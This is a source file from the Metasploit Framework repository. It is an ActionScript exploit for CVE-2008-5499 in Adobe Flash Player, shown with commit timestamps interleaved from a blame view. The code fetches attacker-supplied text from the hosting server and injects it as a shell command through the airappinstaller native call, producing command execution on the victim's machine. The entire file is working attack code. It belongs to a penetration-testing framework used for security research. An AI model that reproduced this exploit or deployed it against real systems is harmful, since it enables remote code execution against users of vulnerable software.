metasploit-framework/external/source/exploits/CVE-2008-5499/Exploit.as

48 lines
1.2 KiB
ActionScript
Raw Normal View History

/*
Compile: mtasc -version 8 -swf Exploit.swf -main -header 800:600:20 Exploit.as
Author: 0a29406d9794e4f9b30b3c5d6702c708 / Unknown / metasploit
PoC: http://downloads.securityfocus.com/vulnerabilities/exploits/32896.as
*/
2012-04-12 06:08:22 +00:00
import flash.external.ExternalInterface;
2012-04-12 06:08:22 +00:00
class Exploit {
2012-04-19 23:07:35 +00:00
public function randname(newLength:Number):String{
2012-04-12 06:08:22 +00:00
var a:String = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
var alphabet:Array = a.split("");
var randomLetter:String = "";
2012-04-19 23:07:35 +00:00
2012-04-12 06:08:22 +00:00
for (var i:Number = 0; i < newLength; i++){
randomLetter += alphabet[Math.floor(Math.random() * alphabet.length)];
}
2012-04-19 23:07:35 +00:00
2012-04-12 06:08:22 +00:00
return randomLetter;
}
public function exploit() {
var path:String = ExternalInterface.call("window.location.href.toString") + randname(6) + ".txt";
var loadVars:LoadVars = new LoadVars();
2012-04-19 23:07:35 +00:00
loadVars.onData = function(str:String):Void {
if (str) {
if (_global.ASnative(2201, 1)("airappinstaller")) {
_global.ASnative(2201, 2)("airappinstaller", "; " + str);
2012-04-12 06:08:22 +00:00
}
} else {
2012-04-12 06:08:22 +00:00
// FAIL
}
}
2012-04-12 06:08:22 +00:00
loadVars.load(path);
}
public function Exploit() {
2012-04-19 23:07:35 +00:00
exploit();
2012-04-12 06:08:22 +00:00
}
static function main() {
var ex : Exploit;
ex = new Exploit();
}
}